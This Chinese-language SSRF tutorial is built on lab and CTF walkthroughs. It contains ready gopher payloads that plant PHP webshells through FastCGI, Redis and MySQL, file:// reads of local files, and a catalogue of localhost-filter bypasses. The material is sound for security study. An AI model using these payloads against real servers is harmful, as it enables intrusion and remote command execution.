0x01:服務器端請求偽造的概念
SSRF(Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。(正是因為它是由服務端發起的,所以它能夠請求到與它相連而與外網隔離的內部系統)
利用一台可以進行網絡請求的服務器做為跳板攻擊其他服務器。
通俗來講,有兩個網站:
A網站,所有人都可以訪問的外網網站的
B網站,只能內部訪問的網站
A網站能訪問B網站
所以,作為普通用戶,我們可以訪問A網站,然后篡改獲取資源的來源,請求從B網站獲取資源。A網站沒有檢測我的請求合不合法,以自己A網站的身份去訪問B網站,於是我們就有機會攻擊B網站。
0x02:SSRF能干什么
1、SSRF可以對服務器所在內網其他機器和本地機器進行端口掃描,探測內網其他主機存活
2、向內部任意主機的任意端口發送精心構造的數據包,攻擊運行在內網或本地的應用,比如未授權的redis、mysql等。
3、利用File協議讀取本地文件。
4、DOS攻擊(請求大文件,始終報錯keep-alive alway)
靶場地址:http://59.63.200.79:8019/
0x03:SSRF相關的函數和協議
1. 函數
file_get_contents():將整個文件或一個url所指向的文件讀入一個字符串中
readfile():輸出一個文件的內容
fsockopen():打開一個網絡連接或者一個Unix 套接字連接
curl_exec():初始化一個新的會話,返回一個cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函數使用
fopen():打開一個文件文件或者 URL
PHP原生類SoapClient在觸發反序列化時可導致SSRF
2. 協議
file協議: 在有回顯的情況下,利用 file 協議可以讀取任意文件的內容
dict協議:泄露安裝軟件版本信息,查看端口,操作內網redis服務等
gopher協議:gopher支持發出GET、POST請求。可以先截獲get請求包和post請求包,再構造成符合gopher協議的請求。gopher協議是ssrf利用中一個最強大的協議(俗稱萬能協議)。可用於反彈shell
http/s協議:探測內網主機存活
0x04:SSRF基礎用法
curl 模擬瀏覽器請求的,比如獲取獲取遠程的網頁,文件等,
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL沒問題,但是要做好過濾,如果不做過濾,就會導致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
http://192.168.88.130/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
http://192.168.88.130/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:80
1. 任意文件讀取
1.1 pikachu靶場
利用file協議讀取本地文件
http://192.168.88.130/pikachu/vul/ssrf/ssrf_curl.php?url=file://c:/a.txt
利用file協議讀取php文件
內容在頁面源碼里面
1.2 CTFhub
http://challenge-3f48eabbf8524a87.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
2. 探測內網主機存活
一般是先想辦法得到目標主機的網絡配置信息,如讀取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,從而獲得目標主機的內網網段並進行爆破。我們可以借助burp中的爆破模塊進行存活主機探測。
Pikachu靶場
3. 掃描內網端口
3.1 Pikachu靶場
通過dict協議可以探測到內網服務器的端口,如果端口沒開放不會有回顯。
3.2 CTFhub
在SSRF中,dict協議與http協議可用來探測內網的主機存活與端口開放情況。這里的端口掃描我們用burpsuite來完成。首先抓包,發送到Intruder進行爆破設置:
0x05:SSRF進階用法
1. POST請求
Gopher協議是 HTTP 協議出現之前,在 Internet 上常見且常用的一個協議,不過現在gopher協議用得已經越來越少了Gopher協議可以說是SSRF中的萬金油。利用此協議可以攻擊內網的 Redis、Mysql、FastCGI、Ftp等等,也可以發送 GET、POST 求。這無疑極大拓寬了 SSRF 的攻擊面。
1.1 CTFhub
目錄掃描獲取到知道存在flag.php文件,我們通過SSRF漏洞讀取flag.php的源碼文件。
?url=file:///var/www/html/flag.php
提示只能來自127.0.0.1。
?url=http://127.0.0.1/flag.php
拿到了key,只需要構造POST請求,把key提交給flag.php
頁面即可
構造一個POST請求包,POST、Host、Content-Type和Content-Length是POST請求必須的。如果少了會報錯的,GET請求不會。Content-Length為字符串"key=536c7b793ac0ea703996c111911c1a2a"的長度。
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=5e37e6b3f645b286834aabb8a49dac71
將數據包進行編碼
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=f1ddd2efba9480d821debc09bfa09d4d
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
然后發送goher協議,gopher協議的具體格式
gopher://ip:port/_METHOD /file HTTP/1.1 http-header&body
?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1ddd2efba9480d821debc09bfa09d4d%250D%250A
2. 上傳文件
2.1 CTFhub
訪問flag.php文件,上傳webshell抓包
修改上面的腳本,將捕獲到的文件上傳的數據包放進去。
通過gopher協議發送payload。
3. 攻擊FastCGI協議
工具地址:https://github.com/tarunkant/Gopherus
生成paylod
進行二次編碼后將最終的payload內容放到?url=后面發送過去(GET會進行一次解碼,curl再進行一次解碼),將%和:編碼
% -> %25
: -> %3a
獲得payload
gopher%3a//127.0.0.1%3a9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH131%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2583%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%253D%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/1.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
出現如下banner信息說明攻擊成功
直接蟻劍連接
4.攻擊Redis協議
Redis是一個key-value存儲系統,默認端口6379,未授權常用getshell的方式:寫webshell,定時任務反彈shell,ssh寫公鑰。
直接訪問6379端口,出現如下banner信息大概率存在redis未授權漏洞
4.1 CTFhub
生成gopher協議的payload
做二次url編碼
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
訪問shell.php
Webshell寫入成功,查看文件
查看flag文件
4.2 CTFshow Web入門 360題
然后將_后面的進行urlencode編碼。發送,默認shell的名字時shell.php,執行命令拿到flag
5. 攻擊Mysql
5.1 CTFshow Web入門 359題
select "<?php eval($_POST[cmd]); ?>" into outfile "/var/www/html/cmd.php";
將_后面的字符全部進行urlencode編碼一次,編碼網址:https://meyerweb.com/eric/tools/dencoder/
編碼后結果為
%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%2520%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%256d%2564%252e%2570%2568%2570%2522%253b%2501%2500%2500%2500%2501
發送
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%2520%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%256d%2564%252e%2570%2568%2570%2522%253b%2501%2500%2500%2500%2501
然后執行命令
0x06:SSRF Bypass的方法
1. SSRF URL Bypass
提示只允許下面的域名訪問。
我們可以利用@
來繞過
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
2. SSRF 進制轉換 Bypass
進制繞過,這里有個在線轉換網站
https://tool.520101.com/wangluo/jinzhizhuanhuan/
十六進制
url=http://0x7F.0.0.1/flag.php
八進制
url=http://0177.0.0.1/flag.php
10 進制整數格式
url=http://2130706433/flag.php
16 進制整數格式,還是上面那個網站轉換記得前綴0x
url=http://0x7F000001/flag.php
還有一種特殊的省略模式
127.0.0.1寫成127.1
用CIDR繞過localhost
url=http://127.127.127.127/flag.php
還有很多方式不想多寫了
url=http://0/flag.php
url=http://0.0.0.0/flag.php
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①
2.1 CTFHUB
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十進制:";
echo $r;
echo "八進制:";
echo decoct($r);
echo "十六進制:";
echo dechex($r);
?>
127.0.0.1:
八進制:0177.0.0.1
十六進制:0x7f.0.0.1
十進制:2130706433
2.2 CTFshow Web入門 web352-353
2.3 CTFshow Web入門 web355
設置了$host<5的限制,隨便來個利用127.0.0.1=127.1剛好是5位
2.4 CTFshow Web入門 web356
限制$host<3
3. SSRF 302跳轉bypass
3.1 方法一:借助重定向網址
網址http://xip.io 當訪問這個服務的任意子域名的時候,都會重定向到這個子域名,舉個例子:當我們訪問 http://127.0.0.1.xip.io/flag.php,那么實際上我們訪問的是就 http://127.0.0.1/flag.php。
但是http://xip.io網址不可用,失敗,嘗試其他網站比如:
也沒有成功。
3.2 方法二:借助短鏈接
3.2.1 CTFHUB
3.2.2 CTFshow Web入門 web357
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范圍內。該標志接受 IPV4 和 IPV6 值
3.3 方法三:借助服務器重定向
當ssrf限制只能使用http或https協議,可通過Header函數繞過限制。在vps創建一個302.php的文件,根據需求設置協議類型,內容參考下圖:
將對應的url參數改為:http://vpsip/302.php即可進行深度利用。
4. SSRF DNS-Rebinding重綁定
1、獲取到用戶輸入的url
2、解析出url中host的ip
3、判斷ip是否合法
4、合法則進行服務端請求。
在這個流程中,一共存在兩次 DNS解析,第一次是解析HOST對對應的IP,第二次是服務端請求時解析一次IP,兩次請求是存在時間差的,這個時間差對應的機制就是TTL,它表示域名和IP綁定在DNS里面能存活的時長。如果我們能在這個TTL時間內替換HOST對應的IP為內網IP,那么緩存在TTL到期時,就可以請求到內網的資源了。
總結來說,DNS 重綁定攻擊的原理是:利用服務器兩次解析同一域名的短暫間隙,更換域名背后的ip達到突破同源策略或過waf進行ssrf的目的。
利用DNS重綁定輔助網址:https://lock.cmpxchg8b.com/rebinder.html
4.1 CTFHUB
4.2 CTFshow
A記錄是127.0.0.1的網站: http://sudo.cc/
,可以不用解析自己的。
0x07:參考鏈接
以上內容來自如下鏈接:
https://www.freebuf.com/articles/web/258365.html
https://www.freebuf.com/articles/web/265646.html